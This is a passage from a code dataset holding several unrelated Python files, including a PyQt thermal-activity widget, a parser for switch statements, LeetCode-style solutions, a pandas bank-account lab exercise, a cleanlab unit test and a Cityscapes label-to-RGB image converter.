np.zeros(numActivities+1)\r\n voa = np.zeros(numActivities+1)\r\n i = 0\r\n for act in self.activities.values():\r\n if isinstance(act,dict):\r\n timeValues[i+1] = act['duration']\r\n rh[i+1] = act['rh']\r\n temps[i+1] = act['Tab']\r\n voa[i+1] = act['velocityOfAir']\r\n mets[i+1] = act['metabolicActivity']\r\n i +=1\r\n timeValues = np.r_[0,np.cumsum(timeValues)]\r\n \r\n self.temperaturePlot.clear()\r\n self.metabolicActivityPlot.clear()\r\n self.velocityOfAirPlot.clear()\r\n self.relativeHumidityPlot.clear()\r\n if numActivities > 0:\r\n temps[0] = temps[1]\r\n mets[0] = mets[1]\r\n voa[0] = voa[1]\r\n rh[0] = rh[1]\r\n #timeValues[0] = timeValues[1]-0.01\r\n citem = pg.PlotCurveItem(timeValues,temps,stepMode=True)\r\n citem.setPen(pg.mkPen(self.graphColors[0],width=2, cosmetic=True))\r\n self.temperaturePlot.addItem(citem)\r\n \r\n citem = pg.PlotCurveItem(timeValues,mets,stepMode=True)\r\n citem.setPen(pg.mkPen(self.graphColors[1],width=2, cosmetic=True))\r\n self.metabolicActivityPlot.addItem(citem)\r\n\r\n citem = pg.PlotCurveItem(timeValues,voa,stepMode=True)\r\n citem.setPen(pg.mkPen(self.graphColors[2],width=2, cosmetic=True))\r\n self.velocityOfAirPlot.addItem(citem)\r\n \r\n citem = pg.PlotCurveItem(timeValues,rh,stepMode=True)\r\n citem.setPen(pg.mkPen(self.graphColors[3],width=2, cosmetic=True))\r\n self.relativeHumidityPlot.addItem(citem)\r\n\r\n\r\n def createSignalPlots(self):\r\n plt = self.selectElectrodesPlot.addPlot(0,0) \r\n #plt.hideAxis('left')\r\n #plt.hideAxis('bottom')\r\n plt.setTitle(tr('Ambient Temperature'),bold=True,color='#ffffff')\r\n self.temperaturePlot = plt\r\n plt = self.selectElectrodesPlot.addPlot(1,0) \r\n #plt.hideAxis('left')\r\n #plt.hideAxis('bottom')\r\n plt.setTitle(tr('Ambient Relative Humidity'),bold=True,color='#ffffff')\r\n self.relativeHumidityPlot = plt\r\n plt = self.selectElectrodesPlot.addPlot(2,0) \r\n #plt.hideAxis('left')\r\n #plt.hideAxis('bottom')\r\n plt.setTitle(tr('Velocity of Air'),bold=True,color='#ffffff')\r\n self.velocityOfAirPlot = plt\r\n plt = self.selectElectrodesPlot.addPlot(3,0) \r\n #plt.hideAxis('left')\r\n #plt.hideAxis('bottom')\r\n plt.setTitle(tr('Metabolic Activity'),bold=True,color='#ffffff')\r\n self.metabolicActivityPlot = plt\r\n\r\n \r\n def _setConnections(self):\r\n self.addActivity.clicked.connect(self.addCurrentActivity)\r\n self.deleteActivity.clicked.connect(self.deleteCurrentActivity)\r\n self.saveActivityButton.clicked.connect(self.saveActivity)\r\n self.loadActivity.clicked.connect(self._loadActivity)\r\n self.moveUpButton.clicked.connect(self.moveUp)\r\n self.moveDownButton.clicked.connect(self.moveDown)\r\n\r\n def activityTableDoubleClicked(self,row,col):\r\n self.currentActivityId = row\r\n if col==6: #This should be clothing mesh\r\n self.loadingClothingFileName()\r\n elif col==7:\r\n self.loadingRadiationFileName()\r\n \r\n def addCurrentActivity(self):\r\n self.modifyingTable = True \r\n rc = self.activityTable.rowCount()\r\n self.activityTable.insertRow(rc)\r\n self.currentActivityId = rc\r\n mdl = self.activityTable.model()\r\n self.activityTable.setItem(rc,0,QtWidgets.QTableWidgetItem('Activity %d'%rc))\r\n if rc==0:\r\n self.activityTable.setItem(rc,1,QtWidgets.QTableWidgetItem('1.0'))\r\n self.activityTable.setItem(rc,2,QtWidgets.QTableWidgetItem('40.0'))\r\n self.activityTable.setItem(rc,3,QtWidgets.QTableWidgetItem('21.0'))\r\n self.activityTable.setItem(rc,4,QtWidgets.QTableWidgetItem('1.0'))\r\n self.activityTable.setItem(rc,5,QtWidgets.QTableWidgetItem('0.0'))\r\n self.activityTable.setItem(rc,6,QtWidgets.QTableWidgetItem(''))\r\n self.activityTable.setItem(rc,7,QtWidgets.QTableWidgetItem(''))\r\n else:\r\n clone = rc-1\r\n selectedItems = self.activityTable.selectedItems()\r\n rows = set()\r\n for itm in selectedItems: \r\n rows.add(itm.row())\r\n if len(rows)>0:\r\n clone = rows.pop()\r\n \r\n for i in range(1,8):\r\n self.activityTable.setItem(rc,i,QtWidgets.QTableWidgetItem(mdl.index(clone,i).data()))\r\n self.deleteActivity.setEnabled(True)\r\n self.saveActivityButton.setEnabled(True)\r\n #Updates activities and graph\r\n act = dict()\r\n act['id'] = rc\r\n for j,v in enumerate(self.hite):\r\n if j>0 and j<6:\r\n act[v] = float(mdl.index(rc,j).data())\r\n else:\r\n act[v] = mdl.index(rc,j).data()\r\n self.activities[rc] = act\r\n self.refreshGraph() \r\n self.modifyingTable = False \r\n \r\n \r\n def updateCurrentActivity(self,item=None):\r\n if not self.modifyingTable: \r\n self.activities = dict()\r\n mdl = self.activityTable.model()\r\n \r\n for i in range(self.activityTable.rowCount()):\r\n act = dict()\r\n act['id'] = i\r\n for j,v in enumerate(self.hite):\r\n if j>0 and j<6:\r\n act[v] = float(mdl.index(i,j).data())\r\n else:\r\n act[v] = mdl.index(i,j).data()\r\n self.activities[i] = act\r\n if item is not None:\r\n col = item.column()\r\n if col > 0 and col < 6: \r\n self.refreshGraph() \r\n else:\r\n self.refreshGraph()\r\n\r\n \r\n def deleteCurrentActivity(self):\r\n selectedItems = self.activityTable.selectedItems()\r\n rows = set()\r\n for itm in selectedItems: \r\n rows.add(itm.row())\r\n for r in rows:\r\n self.activityTable.removeRow(r)\r\n del self.activities[r]\r\n if self.activityTable.rowCount()==0:\r\n self.deleteActivity.setDisabled(True)\r\n self.saveActivityButton.setDisabled(True)\r\n self.refreshGraph() \r\n \r\n def _loadActivity(self):\r\n direc = self.cache.get('LASTSUCCESSFULWORKSPACE',default='.')\r\n filename = QFileDialog.getOpenFileName(None, 'Load file',direc,\"JSON (*.json)\")\r\n if not filename is None and len(filename[0].strip())>0:\r\n self.loadActivityFromFile(filename[0])\r\n self.cache.set('LASTSUCCESSFULWORKSPACE',os.path.dirname(filename[0]))\r\n \r\n def loadActivityFromFile(self,filename):\r\n if not filename is None and len(filename.strip()) > 0: \r\n with open(filename,'r') as ser:\r\n activities = json.load(ser)\r\n self.loadActivityFromDict(activities,filename)\r\n \r\n def loadActivityFromDict(self,activities,filename='.'): \r\n #Remove buttons and recreate them\r\n try:\r\n self.modifyingTable = True\r\n #Activities should be ordered by id, json does not conserve orders\r\n actKeys = []\r\n if 'activityname' in activities:\r\n self.activityName.setText(activities['activityname'])\r\n else:\r\n self.activityName.setText(os.path.basename(filename))\r\n actOrder = []\r\n for k,activity in activities.items():\r\n #utf2str converts integers to string\r\n if isinstance(activity,dict):\r\n actKeys.append(k)\r\n actOrder.append(int(activity['id']))\r\n ix = np.argsort(actOrder)\r\n for rc,ak in enumerate(ix):\r\n self.activityTable.insertRow(rc)\r\n self.currentActivityId = rc\r\n activity = activities[actKeys[ak]]\r\n self.activityTable.setItem(rc,0,QtWidgets.QTableWidgetItem(activity['description']))\r\n self.activityTable.setItem(rc,1,QtWidgets.QTableWidgetItem(str(activity['duration'])))\r\n self.activityTable.setItem(rc,2,QtWidgets.QTableWidgetItem(str(activity['rh'])))\r\n self.activityTable.setItem(rc,3,QtWidgets.QTableWidgetItem(str(activity['Tab'])))\r\n self.activityTable.setItem(rc,4,QtWidgets.QTableWidgetItem(str(activity['velocityOfAir'])))\r\n self.activityTable.setItem(rc,5,QtWidgets.QTableWidgetItem(str(activity['metabolicActivity'])))\r\n self.activityTable.setItem(rc,6,QtWidgets.QTableWidgetItem(activity['clothingFile']))\r\n self.activityTable.setItem(rc,7,QtWidgets.QTableWidgetItem(activity['radiationFluxFile'])) \r\n \r\n self.deleteActivity.setEnabled(True)\r\n self.saveActivityButton.setEnabled(True)\r\n self.modifyingTable = False\r\n self.updateCurrentActivity()\r\n except:\r\n import traceback\r\n traceback.print_exc(file=sys.stdout)\r\n finally:\r\n self.modifyingTable = False\r\n\r\n def moveDown(self):\r\n self.modifyingTable = True \r\n row = self.activityTable.currentRow()\r\n column = self.activityTable.currentColumn();\r\n if row < self.activityTable.rowCount()-1:\r\n self.activityTable.insertRow(row+2)\r\n for i in range(self.activityTable.columnCount()):\r\n self.activityTable.setItem(row+2,i,self.activityTable.takeItem(row,i))\r\n self.activityTable.setCurrentCell(row+2,column)\r\n self.activityTable.removeRow(row) \r\n self.modifyingTable = False \r\n self.updateCurrentActivity()\r\n\r\n\r\n def moveUp(self): \r\n self.modifyingTable = True \r\n row = self.activityTable.currentRow()\r\n column = self.activityTable.currentColumn()\r\n if row > 0:\r\n self.activityTable.insertRow(row-1)\r\n for i in range(self.activityTable.columnCount()):\r\n self.activityTable.setItem(row-1,i,self.activityTable.takeItem(row+1,i))\r\n self.activityTable.setCurrentCell(row-1,column)\r\n self.activityTable.removeRow(row+1) \r\n self.modifyingTable = False \r\n self.updateCurrentActivity()\r\n \r\n def saveActivity(self):\r\n self.updateCurrentActivity()\r\n if len(self.activities) > 0:\r\n direc = self.cache.get('LASTSUCCESSFULWORKSPACE',default='.')\r\n filename = QFileDialog.getSaveFileName(None, 'Save file',direc,\"JSON (*.json)\")\r\n if not filename is None and len(filename[0].strip()) > 0:\r\n #Update filenames to be relative to this file\r\n bdir = os.path.dirname(filename[0])\r\n for aid in self.activities:\r\n activity = self.activities[aid]\r\n if isinstance(activity,dict):\r\n cf = activity['clothingFile']\r\n cp = os.path.abspath(cf)\r\n activity['clothingFile'] = str(os.path.relpath(cp, bdir))\r\n rf = activity['radiationFluxFile']\r\n if len(rf.strip())>0:\r\n rp = os.path.abspath(rf)\r\n activity['radiationFluxFile'] = str(os.path.relpath(rp, bdir))\r\n with open(filename[0],'w') as ser:\r\n self.activities['activityname']=self.activityName.text()\r\n if self.activities['activityname']=='Unnamed':\r\n self.activities['activityname']=os.path.splitext(os.path.basename(filename[0]))[0]\r\n self.activityName.setText(self.activities['activityname'])\r\n json.dump(self.activities,ser)\r\n self.cache.set('LASTSUCCESSFULWORKSPACE',os.path.dirname(filename[0]))\r\n self.dataSaved.emit(filename[0])\r\n else:\r\n QMessageBox.information(self, tr(\"In correct usage\"), tr(\"No activities defined. Did you forget to click add!\"))\r\n \r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n obj = ActivityDefinitionWidget()\r\n obj.show()\r\n sys.exit(app.exec_()) ","repo_name":"ABI-Software/abics","sub_path":"userinterface/ActivityWizard.py","file_name":"ActivityWizard.py","file_ext":"py","file_size_in_byte":20337,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"24"}
+{"seq_id":"10391405958","text":"import symbols\nfrom ..parsing_utilities import *\nfrom keywords import is_eof_type\nfrom ErrorHandling.parsing_error_messages import *\nfrom Parsing.expression_parsing import parse_expression\nfrom Parsing.InternalStatementParsing.statement_parsing import parse_statements\nfrom Parsing.ASTComponents import ast_node_keys\n\ndef parse_switch(driver):\n switch_token = driver.next_token()\n enforce_switch(switch_token)\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n switch_stmt = test_expression_step(driver)\n if switch_stmt:\n switch_stmt.add_descriptor_token(switch_token)\n return switch_stmt\n\n\ndef test_expression_step(driver):\n test_exp = parse_expression(driver)\n if driver.has_errors():\n return None\n if test_exp is None:\n return None\n switch_stmt = driver.make_node(ast_node_keys.SWITCH_STMT)\n switch_stmt.add_test_expression(test_exp)\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n elif peek_token.type_symbol == symbols.CASE:\n return case_step(driver, switch_stmt)\n else:\n driver.add_error(peek_token, UNEXPECTED_TOKEN)\n return None\n\n\ndef case_step(driver, switch_stmt):\n driver.discard_token()\n peek_token = driver.peek_token()\n case_stmt = driver.make_node(ast_node_keys.CASE_STMT)\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n elif peek_token.type_symbol == symbols.IDENTIFIER:\n return case_value_step(driver, switch_stmt, case_stmt)\n elif is_primitive_literal(peek_token):\n return case_value_step(driver, switch_stmt, case_stmt)\n else:\n driver.add_error(peek_token, UNEXPECTED_TOKEN)\n return None\n\n\ndef case_value_step(driver, switch_stmt, case_stmt):\n value_token = driver.next_token()\n case_stmt.add_value(value_token)\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n elif peek_token.type_symbol == symbols.COMMA:\n return comma_step(driver, switch_stmt, case_stmt)\n elif peek_token.type_symbol == symbols.DO:\n return do_step(driver, switch_stmt, case_stmt)\n else:\n driver.add_error(peek_token, UNEXPECTED_TOKEN)\n return None\n\n\ndef comma_step(driver, switch_stmt, case_stmt):\n driver.discard_token()\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n elif peek_token.type_symbol == symbols.IDENTIFIER:\n return case_value_step(driver, switch_stmt, case_stmt)\n elif is_primitive_literal(peek_token):\n return case_value_step(driver, switch_stmt, case_stmt)\n else:\n driver.add_error(peek_token, UNEXPECTED_TOKEN)\n return None\n\n\ndef do_step(driver, switch_stmt, case_stmt):\n driver.discard_token()\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n return statements_step(driver, switch_stmt, case_stmt)\n\n\ndef statements_step(driver, switch_stmt, case_stmt, is_default = False):\n stmts = parse_statements(driver)\n if driver.has_errors():\n return None\n if stmts is None:\n return None\n case_stmt.add_statements(stmts)\n if is_default:\n switch_stmt.add_default_case(case_stmt)\n else:\n switch_stmt.add_case(case_stmt)\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n elif peek_token.type_symbol == symbols.DEFAULT:\n return default_step(driver, switch_stmt)\n elif peek_token.type_symbol == symbols.CASE:\n return case_step(driver, switch_stmt)\n elif peek_token.type_symbol == symbols.ENDSCOPE:\n return end_step(driver, switch_stmt)\n else:\n driver.add_error(peek_token, UNEXPECTED_TOKEN)\n return None\n\n\ndef default_step(driver, switch_stmt):\n default_token = driver.next_token()\n if switch_stmt.has_default_case():\n driver.add_error(default_token, EXISTING_DEFAULT)\n return None\n peek_token = driver.peek_token()\n if is_eof_type(peek_token):\n driver.add_error(peek_token, EOF_REACHED)\n return None\n default_case = driver.make_node(ast_node_keys.CASE_STMT)\n return statements_step(driver, switch_stmt, default_case, True)\n\n\ndef end_step(driver, switch_stmt):\n driver.discard_token()\n return switch_stmt\n\n\ndef enforce_switch(switch_token):\n if switch_token.type_symbol != symbols.SWITCH:\n raise Exception(\"INTERNAL ERROR: expected switch statement, got \" + switch_token.literal)\n","repo_name":"MarkTigchelaar/Autopilot","sub_path":"src/Parsing/InternalStatementParsing/switch_parsing.py","file_name":"switch_parsing.py","file_ext":"py","file_size_in_byte":4839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"36485896217","text":"#!/usr/bin/python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n \"\"\"\n @param: nums: A list of integers\n @return: A list of integers that's previous permuation\n \"\"\"\n def previousPermuation(self, nums):\n n = len(nums)\n right = n - 1\n # 从右往左，找第一个升序\n while right > 0:\n if nums[right] < nums[right - 1]:\n break\n else:\n right -= 1\n # 如果整个数组是降序排列，颠倒过来\n if right == 0:\n nums.reverse()\n return nums\n # 定位需要交换的高位\n right -= 1\n index = n - 1\n # 从右往左，找第一个比这个高位小的低位\n while index > right:\n # 交换高地位\n if nums[index] < nums[right]:\n nums[index], nums[right] = nums[right], nums[index]\n break\n else:\n index -= 1\n # 将被交换的高位之后的部分数组按逆序排列，因为只是上1个\n return nums[:right + 1] + sorted(nums[right + 1:], reverse=True)\n\n\ndef main():\n print(Solution().previousPermuation([1,3,2,3]))\n print(Solution().previousPermuation([1,2,3,4]))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"leiz2192/Python","sub_path":"exercise/previous-permutation/previous-permutation.py","file_name":"previous-permutation.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"11787747122","text":"# [Accounts Merge] https://leetcode.com/problems/accounts-merge/\n\nfrom collections import defaultdict\ndef accountsMerge(accounts):\n def find(v):\n if mails[v] == v:\n return v\n else:\n mails[v] = find(mails[v])\n return mails[v]\n def union(a, b):\n fa = find(a)\n fb = find(b)\n if fa != fb:\n del m2i[fb]\n mails[fb] = fa\n return fa\n m2i = dict()\n mails = dict()\n for acc in accounts:\n if len(acc) == 2:\n if acc[1] not in mails:\n mails[acc[1]] = acc[1]\n m2i[acc[1]] = acc[0]\n else:\n for i in range(2, len(acc)):\n a, b = acc[i-1], acc[i]\n if a not in mails:\n mails[a] = a\n m2i[a] = acc[0]\n if b not in mails:\n mails[b] = a\n union(a, b)\n res = defaultdict(list)\n for mail in mails:\n res[find(mail)].append(mail)\n ans = [[m2i[x]] + sorted(res[x]) for x in m2i]\n return ans\n","repo_name":"yholics1226/algorithms","sub_path":"L721.py","file_name":"L721.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"26733069697","text":"if 'import':\n import os\n from datetime import datetime\n import time\n import numpy as np\n from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter\n import torch\n\n\nif 'local import':\n from DFL import Clip_of_gameS\n from model import Model\n from test import test, testSpotting\n\nopJ = os.path.join\n\n\nif 'parse':\n parser = ArgumentParser(description='context aware loss function', formatter_class=ArgumentDefaultsHelpFormatter)\n\n parser.add_argument('--SPLIT', default='Test' )\n parser.add_argument('--P_input_feat')\n\n parser.add_argument('--max_epochs', type=int, default=1000, help='Maximum number of epochs' )\n parser.add_argument('--load_weights', default=None, help='weights to load' )\n\n parser.add_argument('--version', type=int, default=2, help='Version of the dataset' )\n parser.add_argument('--feature_dim', type=int, default=None, help='Number of input features' )\n parser.add_argument('--evaluation_frequency', type=int, default=10, help='Number of chunks per epoch' )\n parser.add_argument('--input_FpS', type=int, default=25 )\n parser.add_argument('--vocab_size', type=int, default=64, help='Size of the vocabulary for NetVLAD' )\n parser.add_argument('--NMS_threshold', type=float, default=0.0, help='NMS threshold for positive results' )\n\n parser.add_argument('--batch_size', type=int, default=256, help='Batch size' )\n parser.add_argument('--LR', type=float, default=1e-03, help='Learning Rate' )\n parser.add_argument('--LRe', type=float, default=1e-06, help='Learning Rate end' )\n parser.add_argument('--patience', type=int, default=10, help='Patience before reducing LR (ReduceLROnPlateau)' )\n\n parser.add_argument('--GPU', type=int, default=-1, help='ID of the GPU to use' )\n parser.add_argument('--max_num_worker', type=int, default=4, help='number of worker to load data')\n parser.add_argument('--seed', type=int, default=0, help='seed for reproducibility')\n\n\n parser.add_argument('--pool_win_frms_radius', type=int )\n parser.add_argument('--pool_type', default=\"NetVLAD++\")\n\n args = parser.parse_args()\n\n args.model_name = args.pool_type\n\n if 'todo: 调参':\n args.NMS_secs3event = [ 2, 20, 6 ]\n #三类的时间窗口，play，throwin, challenge\n\nif __name__ == '__main__':\n\n # for reproducibility\n torch.manual_seed(args.seed)\n np.random.seed(args.seed)\n\n\n os.makedirs( opJ(\"out\", args.model_name), exist_ok=True)\n\n\n if args.GPU >= 0:\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(args.GPU)\n\n\n\n start=time.time()\n\n\n # ------------------------------------main\n\n dataset_gameS = Clip_of_gameS( P_feat = args.P_input_feat ,\n SPLIT = args.SPLIT ,\n input_FpS = args.input_FpS ,\n pool_win_frms_radius = args.pool_win_frms_radius ,\n )\n\n loader = torch.utils.data.DataLoader(dataset_gameS,\n batch_size = 1 ,\n shuffle = False ,\n num_workers = 1 ,\n pin_memory = True ,\n )\n\n\n import pudb\n pu.db\n\n if args.feature_dim is None:\n args.feature_dim = dataset_gameS[0][1].shape[-1]\n\n # create model\n model = Model(weights = args.load_weights ,\n input_size = args.feature_dim ,\n num_classes = dataset_gameS.num_classes ,\n pool_win_frms = args.pool_win_frms_radius * 2 + 1 ,\n vocab_size = args.vocab_size ,\n input_FpS = args.input_FpS ,\n pool = args.pool_type ,\n ).cuda()\n\n ckpt = torch.load( os.path.join(\"weightS\", args.model_name, \"best.pth\") )\n model.load_state_dict(ckpt['state_dict'])\n\n\n probS__all_vdo = testSpotting(loader,\n model = model ,\n model_name = args.model_name ,\n NMS_secs3event = args.NMS_secs3event ,\n NMS_threshold = args.NMS_threshold ,\n SPLIT = args.SPLIT ,\n )\n # ------------------------------------main\n\n print(f'池化头部: {time.time() - start} 秒')\n","repo_name":"sisrfeng/kaggle_DFL","sub_path":"input/upload-wf/pool1D/use_pool.py","file_name":"use_pool.py","file_ext":"py","file_size_in_byte":4876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"37559157798","text":"import numpy as np\nimport pytest\nfrom cleanlab.datalab.issue_manager.noniid import simplified_kolmogorov_smirnov_test\n\n\n@pytest.mark.parametrize(\n \"neighbor_histogram, non_neighbor_histogram, expected_statistic\",\n [\n # Test with equal histograms\n (\n [0.25, 0.25, 0.25, 0.25],\n [0.25, 0.25, 0.25, 0.25],\n 0.0,\n ),\n # Test with maximum difference in the first bin\n (\n [1.0, 0.0, 0.0, 0.0],\n [0.0, 0.25, 0.25, 0.5],\n 1.0,\n ),\n # Test with maximum difference in the last bin\n (\n [0.25, 0.25, 0.25, 0.25],\n [0.5, 0.25, 0.25, 0.0],\n 0.25,\n ),\n # Test with arbitrary histograms\n (\n [0.2, 0.3, 0.4, 0.1],\n [0.1, 0.4, 0.25, 0.3],\n 0.15, # (0.2 -> 0.5 -> *0.9* -> 1.0) vs (0.1 -> 0.5 -> *0.75* -> 1.05\n ),\n ],\n ids=[\n \"equal_histograms\",\n \"maximum_difference_in_first_bin\",\n \"maximum_difference_in_last_bin\",\n \"arbitrary_histograms\",\n ],\n)\ndef test_simplified_kolmogorov_smirnov_test(\n neighbor_histogram, non_neighbor_histogram, expected_statistic\n):\n nh = np.array(neighbor_histogram)\n nnh = np.array(non_neighbor_histogram)\n statistic = simplified_kolmogorov_smirnov_test(nh, nnh)\n np.testing.assert_almost_equal(statistic, expected_statistic)\n","repo_name":"Alex868686/cleanlab","sub_path":"tests/datalab/issue_manager/test_noniid.py","file_name":"test_noniid.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"24"}
+{"seq_id":"37364786469","text":"import pandas as pd\r\n\r\nnames = [\"Ram\", \"Sam\", \"Prabahu\"]\r\nac_nos = ['9893893891', '9893893898', '9893893871']\r\nac_types = ['SB', 'CA', 'SB']\r\nadhar_no = ['959389389173', '959389389179', '959389389159']\r\nbalance = [8989839, 7690990, 989330]\r\nd = {\"Name\": names, \"AccountNo\": ac_nos, \"AccountType\": ac_types,\r\n \"AadharNo\": adhar_no, \"balance\": balance}\r\n\r\ndf1 = pd.DataFrame(d)\r\n# print(df1)\r\n\r\n# converting to csv type\r\ndf1.to_csv(\"SBIAccountHolder.csv\")\r\n\r\nwhile 1:\r\n ch = int(input(\r\n \"Enter choice 1)Append row 2)Delete row 3)Credit 4)Debit 5)Account Details 6)Exit :\"))\r\n if ch == 1:\r\n print(\"Enter data to append : \")\r\n name = input(\"Name:\")\r\n acno = input(\"AccountNo:\")\r\n acty = input(\"AccountType:\")\r\n adno = input(\"Aadhaar Number:\")\r\n bal = input(\"Balance:\")\r\n names.append(name)\r\n ac_nos.append(acno)\r\n ac_types.append(acty)\r\n adhar_no.append(adno)\r\n balance.append(bal)\r\n d = {\"Name\": names, \"AccountNo\": ac_nos, \"AccountType\": ac_types,\r\n \"AadharNo\": adhar_no, \"balance\": balance}\r\n df1 = pd.DataFrame(d)\r\n df1['supporter'][0] = 'Vishnu'\r\n df1.to_csv(\"SBIAccountHolder.csv\")\r\n # df1.append(df2)\r\n print(df1)\r\n elif ch == 2:\r\n acno = input(\"enter account number to delete record:\")\r\n # x = df1.loc[df1['AccountNo'] == acno, 'Name'].iloc[0]\r\n # df1.drop(int(x), inplace=True)\r\n print(df1)\r\n df_index = df1.set_index('AccountNo')\r\n\r\n df_index = df_index.drop(1)\r\n df1 = df_index\r\n print(df_index)\r\n df_index.to_csv(\"SBIAccountHolder.csv\")\r\n\r\n elif ch == 3:\r\n acno = input(\"enter account number to credit:\")\r\n amt = int(input(\"ENter amount to credit :\"))\r\n df1.loc[df1['AccountNo'] == acno,\r\n 'balance'] = df1.loc[df1['AccountNo'] == acno, 'balance'] + amt\r\n # x = x+amt\r\n print(df1)\r\n df1.to_csv(\"SBIAccountHolder.csv\")\r\n elif ch == 4:\r\n acno = input(\"enter account number to Debit:\")\r\n amt = int(input(\"ENter amount to Debit :\"))\r\n if (df1.loc[df1['AccountNo'] == acno, 'AccountType'].iloc[0] == 'SB'):\r\n if ((df1.loc[df1['AccountNo'] == acno, 'balance']).tolist())[0] < amt:\r\n print(\"Insuffient Balance!\")\r\n continue\r\n df1.loc[df1['AccountNo'] == acno,\r\n 'balance'] = df1.loc[df1['AccountNo'] == acno, 'balance'] - amt\r\n # x = x+amt\r\n print(df1)\r\n df1.to_csv(\"SBIAccountHolder.csv\")\r\n elif ch == 5:\r\n print(df1)\r\n\r\n elif ch == 6:\r\n print(\"Exiting!\")\r\n break\r\n else:\r\n print(\"Enter valid choice!\")\r\n\r\nprint(\"Creating another CSV file!\")\r\ncontactNo = [\"9840787333\", \"9840787343\", \"9840787353\"]\r\ndob = ['12-2-1990', '12-2-2000', '12-2-2010']\r\naddress = [\"no 23 Kandigai,Chennai 127\",\r\n \"no 73,Melakottaiyur ,Chennai 127\", \"No 43, Anna Nagar\"]\r\nd2 = {\"Name\": names, \"AadharNo\": adhar_no,\r\n \"Contact_No\": contactNo, \"DOB\": dob, \"Address\": address}\r\ndf2 = pd.DataFrame(d2)\r\ndf2.to_csv(\"AdhaarDB.csv\")\r\ndf3 = pd.merge(df1, df2)\r\ndf3.to_csv(\"final.csv\")\r\nprint(df3)\r\n","repo_name":"vishnuap02/Introduction_to_DataScience_Lab","sub_path":"lab6.py","file_name":"lab6.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"4220674895","text":"# coding: utf-8\n\n# Torch related package\nfrom __future__ import print_function\n\n# Other package\nfrom PIL import Image\nimport numpy as np\nimport os\n\n# Other python files\nimport Label\n\n\nclass Picture:\n \"\"\"\n Picture is associated with one image (19 or 20 classes)\n \"\"\"\n\n def __init__(self,\n path_image=\"./\"):\n \"\"\"\n Initialize the image black and white image (19 or 20 classes)\n :param path_image: path to the image\n \"\"\"\n # Path of the image\n self.path_image = path_image\n # Import the image and transform it into array\n self.image_array = np.array(Image.open(self.path_image))\n # Height and width of the image\n self.height_image_array, self.width_image_array = self.image_array.shape\n\n def classes_to_color(self, id_to_label):\n \"\"\"\n :param id_to_label: name of the dictionary that will transform 1D image into RGB\n :return: the RGB image\n \"\"\"\n # Initialize the RGb image\n RGB = np.zeros((self.height_image_array, self.width_image_array, 3))\n\n # For each pixel add the write color according to some rules given by id_to_label\n for i, row in enumerate(self.image_array):\n for j, pixel in enumerate(row):\n RGB[i, j, :] = id_to_label[pixel].color\n\n return RGB\n\n\ndef make_dataset(mode, path_data, end_name):\n \"\"\"\n :param mode: train val or test\n :param path_data: path to the folder that contain all the data\n :param end_name: end of the name of image that you want to keep\n :return: The entire DataSet with the right name (according to end_name) which is at the location path_data and mode\n The result is an array with all the files. The names of each pictures is also store.\n \"\"\"\n # Creat the complete path\n img_path = os.path.join(path_data, mode)\n # Item will contains the paths\n items = []\n # image_names will contains all the image name associated with the paths\n image_names = []\n # list of all the directory in the folder (it will be the name of german city)\n categories = os.listdir(img_path)\n # We look at every City\n for c in categories:\n # Get the name of all file in the directory\n for name in os.listdir(os.path.join(img_path, c)):\n # Keep only the files names that we wanted\n if name.endswith(end_name):\n items.append(os.path.join(img_path, c, name))\n image_names.append(os.path.join(c, name))\n\n return items, image_names\n\n\n\ndef transform_image_to_RGB(path_data,\n from_picture=0, to_picture=2,\n mode=\"test\",\n end_name='leftImg8bit.png'):\n \"\"\"\n :param path_data: path to the folder that contain all the data\n :param from_picture: first picture that will be transform\n :param to_picture: last picture that will be transform\n :param mode: train val or test\n :param end_name: end of the name of image that you want to keep\n :return: Nothing but save to_picture-from_picture images into RGB format that will be in the path_data/mode\n location and have the exact end_name\n \"\"\"\n # Make the DataSet and the names\n paths, names = make_dataset(mode=mode,\n path_data=path_data,\n end_name=end_name)\n\n # sort the path and name so that it is always organized in the same way\n paths.sort()\n names.sort()\n\n # Reduce the number of image\n paths = paths#[from_picture:to_picture]\n names = names#[from_picture:to_picture]\n\n # Create the dictionary that will transform 1D to RBG image\n labels = Label.create_label_plot()\n train_id2label = Label.train_id2label(labels)\n\n # Loop over each picture\n for i in range(len(paths)):\n # Create the Picture type\n picture = Picture(path_image=paths[i])\n\n # Transform into RGB\n RGB = picture.classes_to_color(id_to_label=train_id2label)\n\n # Change the name\n path_export_color = paths[i].replace(end_name, 'prediction_color.png')\n\n # transform into PIL image\n RGB = np.uint8(RGB)\n RGB = Image.fromarray(RGB)\n\n # Save the file\n RGB.save(path_export_color)\n with open(\"/home_expes/kt82128h/GridNet/Python_Files/Python_print_test.txt\", 'a') as 